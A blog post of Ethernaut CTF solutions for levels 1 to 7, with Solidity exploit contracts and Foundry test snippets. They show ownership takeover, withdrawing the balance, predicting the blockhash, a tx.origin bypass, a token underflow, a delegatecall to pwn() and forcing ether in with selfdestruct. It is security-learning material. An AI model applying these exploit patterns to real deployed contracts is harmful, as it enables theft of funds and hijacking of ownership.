Jason Turley's Website

Ethernaut Solutions

Setup

Ethernaut is an online wargame/CTF from OpenZeppelin to learn about Web3 Security and smart contracts. Each level contains a smart contract written in Solidity that is vulnerable to exploitation. Sounds like a great resource for becoming a web3 auditor!

When the game was originally released, players used testnets like Rinkeby to get test crypto to play with. Since Rinkeby has been deprecated, setting up a testnet for the CTF is a pain and requires spending real money to buy test coins. Instead, I found this GitHub repo from cianranmcveigh5 that allows us to solve the challenges locally and for FREE!

The GitHub repo has all the instructions needed to get up and running. We can create our solutions in Foundry by writing test scripts.


I will update this post with my solutions as I solve them.

Level 1 - Fallback

The goal is to claim ownership of the contract and reduce its balance to 0. The owner is originally set as the person who deployed the contract. Looking at the receive() fallback function, we see that we can claim ownership of the contract by contributing and then sending ether in a separate transaction. Finally, we can drain the contract balance by calling withdraw.

Below is my level solution inside the ./src/test/Fallback.t.sol file:

// Contribute 1 wei and confirm the transaction was successful
player.contribute{value: 1 wei}();
assertEq(player.getContribution(), 1 wei);

// Trigger the fallback function by doing a .call with some value
address(player).call{value: 1 wei}("");

// Verify that we are the now the owner
assertEq(player.owner(), eoaAddress);

// As the new owner, withdraw all funds
emit log_named_uint("Contract balance before withdraw", address(player).balance);
player.withdraw();
emit log_named_uint("Contract balance after withdraw", address(player).balance);

Run the tests with:

forge test --match-path ./src/test/Fallback.t.sol

Level 2 - Fallout

Our goal is to again claim ownership of the contract. Notice anything out of the ordinary with the constructor for this level?

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

It’s not a constructor after all! It is a function that sets the contract owner to the caller of the function. We can leverage this to gain ownership rather easily.

// The constructor has a type (Fal1out) that lets us call it and become the owner
emit log_named_address("Fallout owner before attack", ethernautFallout.owner());
ethernautFallout.Fal1out();
emit log_named_address("Fallout owner after attack", ethernautFallout.owner());
assertEq(ethernautFallout.owner(), eoaAddress);

Level 3 - Coin Flip

To beat the this level we will need to correctly predict 10 coin flips in a row. Looking at the coin flipping algorithm, the contract uses the blockhash of the previous block to get the flip result. Solve the level by creating our own contract that will simulate the coin flips. Then call it in a loop in our test case.

CoinFlipHack.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface ICoinFlipChallenge {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipHack {
    ICoinFlipChallenge public challenge;

    constructor(address challengeAddress) {
        challenge = ICoinFlipChallenge(challengeAddress);
    }

    function attack() external payable {
        // simulate the same what the challenge contract does
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        // call challenge contract with same guess
        challenge.flip(side);
    }

    fallback() external payable {}
}

CoinFlip.t.sol:

CoinFlipHack coinFlipHack = new CoinFlipHack(levelAddress);

for (uint i = 0; i < 10; i++) {
//set the blog number to value greater than 0 to prevent underflow
vm.roll(i + 1);
coinFlipHack.attack();
}

Level 4 - Telephone

The goal for this level is to gain ownership of the contract.

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

The constructor sets the owner as the address that deploys the contract. There is one function called changeOwner that takes an address as a parameter. If the tx.origin does not equal the msg.sender, then the contract owner will be updated.

But what are these values? tx.origin is the origin of the transaction, whereas the msg.sender is who sent the most recent message.

So if there is a call chain like A -> B -> C -> D, then inside D the msg.sender will be C and tx.origin will be A. credit.

Just like the CoinFlip level, we can create a seperate contract that calls Telephone.sol and gain ownership. So our chain will look like: Telephone.t.sol -> TelephoneHack.sol -> Telephone.sol.

Here is the attack contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.10;

import "./Telephone.sol";

contract TelephoneHack {
    
    Telephone immutable telephone;

    constructor(Telephone _telephone) {
        telephone = _telephone;
    }

    /// Change the owner of the Telephone contract
    function attack() external {
        telephone.changeOwner(msg.sender);
    }
}

Add the following to the “Level Attack” section of the Telephone.t.sol file to win the challenge:

        TelephoneHack telephoneHack = new TelephoneHack(ethernautTelephone);
        telephoneHack.attack();

Level 5 - Token

We are given 20 tokens and must find a way to get more tokens.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {

    // Solidity ^0.8.0 prevents overflows/underflows so need to have it unchecked 
    unchecked {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }

    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }

The Token contract is pretty straightforward. There is a function to transfer tokens to an address and to check the balance of an address. Our goal is to increase our token balance. We can do this by performing an integer underflow on our balance.

This is possible because Solidity versions prior to 0.8.0 do not check for integer underflows or overflows.

To pass the level, simply transfer a large amount of tokens to the eoaAddress in the Token.t.sol test file.

Level 6 - Delegation

For this level we need to call the Delegate::pwn function from the Delegation contract to claim ownership. This level is really to teach about the [delegatecall](https://www.cyfrin.io/glossary/delegatecall-solidity-code-example) Solidity function.

We can call the pwn function with abi.encodeWithSignature.

        bytes memory selector = abi.encodeWithSignature("pwn()");
        address(ethernautDelegation).call(selector);

Level 7 - Force

The goal of this level is to make the balance of the contract greater than zero. We are given an empty contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */
}

So this contract is empty (aside from the awesome kitty sphinx). In order for a contract to receive money, it needs to have a receive or fallback function. If neither are implemented, then the contract will be given a default fallback function.

We can force sending Ether to the contract by calling selfdestruct. Here is the attack contract, ForceHack.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract ForceHack {
    function attack(address payable _victim) public payable {
        require(msg.value > 0, "Send ether");
        selfdestruct(_victim);
    }
}

credit and References

#crypto #writeups